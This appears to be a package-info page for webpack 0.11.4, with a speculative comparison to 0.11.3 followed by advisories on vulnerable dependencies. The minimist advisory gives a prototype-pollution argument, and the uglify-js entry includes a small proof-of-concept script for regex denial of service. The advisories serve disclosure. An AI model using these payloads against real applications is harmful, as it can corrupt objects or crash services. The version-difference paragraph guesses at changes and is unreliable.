Webpack version 0.11.4 represents a minor update to the 0.11.x series, building upon the established functionality of version 0.11.3. Both versions serve as powerful module bundlers designed for modern JavaScript applications. They streamline the process of packaging CommonJs, AMD, and labeled modules for browser deployment, enabling developers to split codebases into manageable bundles for on-demand loading, improving initial load times and overall application performance. A key feature is their support for loaders, which preprocess various file types, including JSON, Jade, CoffeeScript, CSS, and LESS, offering flexibility and integration with diverse development workflows.
Examining the metadata, the main difference between versions 0.11.3 and 0.11.4 lies primarily in the releaseDate. Version 0.11.4 was published on November 6th, 2013, a day later than version 0.11.3. While the core dependencies and devDependencies remain identical, this newer version likely incorporates bug fixes, minor performance enhancements, or potentially updated internal tooling. Developers already using webpack 0.11.3 should consider upgrading to 0.11.4 to benefit from any improvements. For new users, the shared feature sets of each versions, highlight webpack's powerful module bundling with file type handling through extensible loaders, making for efficient web app development and deployment.
All the vulnerabilities related to the version 0.11.4 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
